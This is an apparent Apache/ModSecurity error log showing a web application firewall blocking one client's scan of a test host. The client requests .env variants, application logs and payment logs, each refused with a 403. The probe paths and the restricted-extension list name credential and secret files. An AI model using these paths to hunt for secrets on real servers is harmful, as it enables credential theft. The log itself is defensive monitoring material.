[Wed Mar 11 20:57:00.820789 2026] [:error] [pid 2634351] [client 185.177.72.60:41768] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/debug.log"] [unique_id "abHJDFeVHFR5HsWynCXzIQAAAAM"]
[Wed Mar 11 20:57:00.835423 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "abHJDCCgtlFRCZQ_mzOvnQAAAA8"]
[Wed Mar 11 20:57:00.835672 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "abHJDCCgtlFRCZQ_mzOvnQAAAA8"]
[Wed Mar 11 20:57:00.835814 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "abHJDCCgtlFRCZQ_mzOvnQAAAA8"]
[Wed Mar 11 20:57:00.841759 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abHJDE08hzg1BXieW_K3-wAAAAI"]
[Wed Mar 11 20:57:00.842070 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abHJDE08hzg1BXieW_K3-wAAAAI"]
[Wed Mar 11 20:57:00.842216 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "abHJDE08hzg1BXieW_K3-wAAAAI"]
[Wed Mar 11 20:57:00.853939 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/stripe.log"] [unique_id "abHJDLVttqDN05FhB27JEwAAAAs"]
[Wed Mar 11 20:57:00.854195 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/stripe.log"] [unique_id "abHJDLVttqDN05FhB27JEwAAAAs"]
[Wed Mar 11 20:57:00.854361 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/stripe.log"] [unique_id "abHJDLVttqDN05FhB27JEwAAAAs"]
[Wed Mar 11 20:57:00.926895 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/payments.log"] [unique_id "abHJDLVttqDN05FhB27JFAAAAAs"]
[Wed Mar 11 20:57:00.927168 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/payments.log"] [unique_id "abHJDLVttqDN05FhB27JFAAAAAs"]
[Wed Mar 11 20:57:00.927330 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/payments.log"] [unique_id "abHJDLVttqDN05FhB27JFAAAAAs"]
[Wed Mar 11 21:37:15.378906 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHSe8C_9I0i5zrBPs0AZgAAABE"]
[Wed Mar 11 21:37:15.379129 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHSe8C_9I0i5zrBPs0AZgAAABE"]
[Wed Mar 11 21:37:15.379303 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abHSe8C_9I0i5zrBPs0AZgAAABE"]
[Wed Mar 11 21:37:15.465107 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHSe8C_9I0i5zrBPs0AZwAAABE"]
[Wed Mar 11 21:37:15.465285 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHSe8C_9I0i5zrBPs0AZwAAABE"]
[Wed Mar 11 21:37:15.465425 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "abHSe8C_9I0i5zrBPs0AZwAAABE"]
[Wed Mar 11 21:37:16.658093 2026] [:error] [pid 2634323] [client 185.177.72.60:15836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHSfKPPzlNIonXxp6eEpgAAAAw"]
[Wed Mar 11 21:37:16.658268 2026] [:error] [pid 2634323] [client 185.177.72.60:15836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHSfKPPzlNIonXxp6eEpgAAAAw"]
[Wed Mar 11 21:37:16.658432 2026] [:error] [pid 2634323] [client 185.177.72.60:15836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abHSfKPPzlNIonXxp6eEpgAAAAw"]
[Wed Mar 11 21:37:16.779901 2026] [:error] [pid 2634323] [client 185.177.72.60:15836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHSfKPPzlNIonXxp6eEpwAAAAw"]
[Wed Mar 11 21:37:16.780078 2026] [:error] [pid 2634323] [client 185.177.72.60:15836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHSfKPPzlNIonXxp6eEpwAAAAw"]
[Wed Mar 11 21:37:16.780229 2026] [:error] [pid 2634323] [client 185.177.72.60:15836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "abHSfKPPzlNIonXxp6eEpwAAAAw"]
[Wed Mar 11 21:37:16.781168 2026] [:error] [pid 2634334] [client 185.177.72.60:15858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHSfCLTdk5HIxV82QLT2AAAAAQ"]
[Wed Mar 11 21:37:16.781357 2026] [:error] [pid 2634334] [client 185.177.72.60:15858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHSfCLTdk5HIxV82QLT2AAAAAQ"]
[Wed Mar 11 21:37:16.781505 2026] [:error] [pid 2634334] [client 185.177.72.60:15858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "abHSfCLTdk5HIxV82QLT2AAAAAQ"]
[Wed Mar 11 21:37:16.884958 2026] [:error] [pid 2634334] [client 185.177.72.60:15858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHSfCLTdk5HIxV82QLT2QAAAAQ"]
[Wed Mar 11 21:37:16.885207 2026] [:error] [pid 2634334] [client 185.177.72.60:15858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHSfCLTdk5HIxV82QLT2QAAAAQ"]
[Wed Mar 11 21:37:16.885369 2026] [:error] [pid 2634334] [client 185.177.72.60:15858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abHSfCLTdk5HIxV82QLT2QAAAAQ"]
[Wed Mar 11 21:37:17.126292 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHSfcC_9I0i5zrBPs0AaAAAABE"]
[Wed Mar 11 21:37:17.126536 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHSfcC_9I0i5zrBPs0AaAAAABE"]
[Wed Mar 11 21:37:17.126706 2026] [:error] [pid 2634341] [client 185.177.72.60:15848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "abHSfcC_9I0i5zrBPs0AaAAAABE"]
[Wed Mar 11 21:37:18.290434 2026] [:error] [pid 2634351] [client 185.177.72.60:15920] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHSfleVHFR5HsWynCXzJQAAAAM"]
[Wed Mar 11 21:37:18.290618 2026] [:error] [pid 2634351] [client 185.177.72.60:15920] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHSfleVHFR5HsWynCXzJQAAAAM"]
[Wed Mar 11 21:37:18.290746 2026] [:error] [pid 2634351] [client 185.177.72.60:15920] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abHSfleVHFR5HsWynCXzJQAAAAM"]
[Wed Mar 11 22:32:57.379049 2026] [:error] [pid 2634866] [client 216.73.216.33:3073] [client 216.73.216.33] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "628"] [id "920330"] [msg "Empty User Agent Header"] [severity "NOTICE"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EMPTY_HEADER_UA"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/robots.txt"] [unique_id "abHfibRELHMONid2eSka0QAAAAo"]
